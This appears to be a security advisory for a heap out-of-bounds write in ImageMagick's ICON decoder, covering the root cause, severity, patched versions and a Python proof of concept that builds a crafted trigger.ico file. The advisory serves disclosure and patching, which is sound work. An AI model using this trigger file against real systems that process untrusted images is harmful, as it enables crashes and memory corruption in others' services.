CVE-2026-53461: ImageMagick ICON Decoder Heap Out-of-Bounds Write
A loop bug in ImageMagick's ICON decoder lets a crafted .ICO file write past the end of a heap buffer, crashing any application that processes untrusted icons.

The problem
The `Read1XImage()` function in `coders/icon.c` iterates over pixel rows using `image->columns` as the loop bound instead of `image->rows`. For a 64-wide x 32-tall (64x32) 1-bit ICO sub-image, the loop runs 64 times while only 32 rows of pixel storage are allocated.
Each extra iteration calls `QueueAuthenticPixels()` for a row index beyond the allocated buffer, resulting in a heap out-of-bounds write (CWE-787). The CVSS score is 7.5 (High), network-reachable with no authentication or user interaction required beyond supplying the file.
Proof of concept
# Craft a minimal ICO with a 64x32 (width=64, height=32) 1-bit sub-image.
# The ICONDIR entry must declare bWidth=64, bHeight=32 (or bHeight=64 in
# the ICONDIRENTRY biHeight field — stored doubled — giving 32 actual rows).
# This triggers Read1XImage() to loop y=0..63 while only 32 rows exist.
python3 - <<'EOF'
import struct, sys
# ICONDIR header: reserved=0, type=1 (ICO), count=1
ico = struct.pack('<HHH', 0, 1, 1)
# ICONDIRENTRY: bWidth=64, bHeight=32, bColorCount=0, bReserved=0,
# wPlanes=1, wBitCount=1, dwBytesInRes=<size>, dwImageOffset=22
bmp_width = 64
bmp_height = 32 # only 32 rows allocated
planes = 1
bpp = 1
# Minimal BITMAPINFOHEADER (40 bytes) for a 64x32 1-bpp image
# biHeight is stored doubled (XOR+AND masks) => 64
bih_size = 40
bi_height = bmp_height * 2 # == 64 (doubled, as per ICO spec)
row_bytes = ((bmp_width * bpp + 31) // 32) * 4 # == 8 bytes/row
xor_size = row_bytes * bmp_height # XOR mask: 32 rows * 8 = 256
and_size = row_bytes * bmp_height # AND mask: 256
palette = b'\x00\x00\x00\x00\xff\xff\xff\x00' # 2 palette entries
xor_data = b'\xff' * xor_size
and_data = b'\x00' * and_size
bmp_data = (
struct.pack('<IiiHHIIiiII',
bih_size, bmp_width, bi_height, planes, bpp,
0, 0, 0, 0, 2, 0) # BI_RGB, 2 colors used
+ palette + xor_data + and_data
)
total_bmp = len(bmp_data)
offset = 6 + 16 # ICONDIR(6) + one ICONDIRENTRY(16)
ico += struct.pack('<BBBBHHII',
bmp_width & 0xff, # bWidth = 64 (stored as 0 means 256; use 64)
bmp_height & 0xff, # bHeight = 32
0, 0, # bColorCount, bReserved
planes, bpp,
total_bmp, offset)
ico += bmp_data
with open('trigger.ico', 'wb') as f:
f.write(ico)
print('Written trigger.ico (64x32 1-bpp ICO)')
print('Run: convert trigger.ico out.png')
EOFThe root cause is a copy-paste error: the loop in `Read1XImage()` uses `image->columns` (width, 64) as the row count instead of `image->rows` (height, 32). Each call to `QueueAuthenticPixels(image, 0, y, image->columns, 1, ...)` for y >= 32 writes into memory that was never allocated for pixel data, producing a heap buffer over-write (CWE-787).
The patch simply changes the loop bound from `image->columns` to `image->rows`, so the iterator never exceeds the allocated row count. Because ICO files permit asymmetric 64x32 dimensions and no other guard caught the mismatch, any caller that processes user-supplied .ICO data was reachable over the network.
The fix
Update Magick.NET-Q16-AnyCPU to version 14.14.0 or later (NuGet). For the underlying ImageMagick C library, upgrade to 7.1.2-25 (ImageMagick 7) or 6.9.13-50 (ImageMagick 6). No workaround is available short of blocking ICO file processing via ImageMagick policy.
Reported by vibhum-dubey.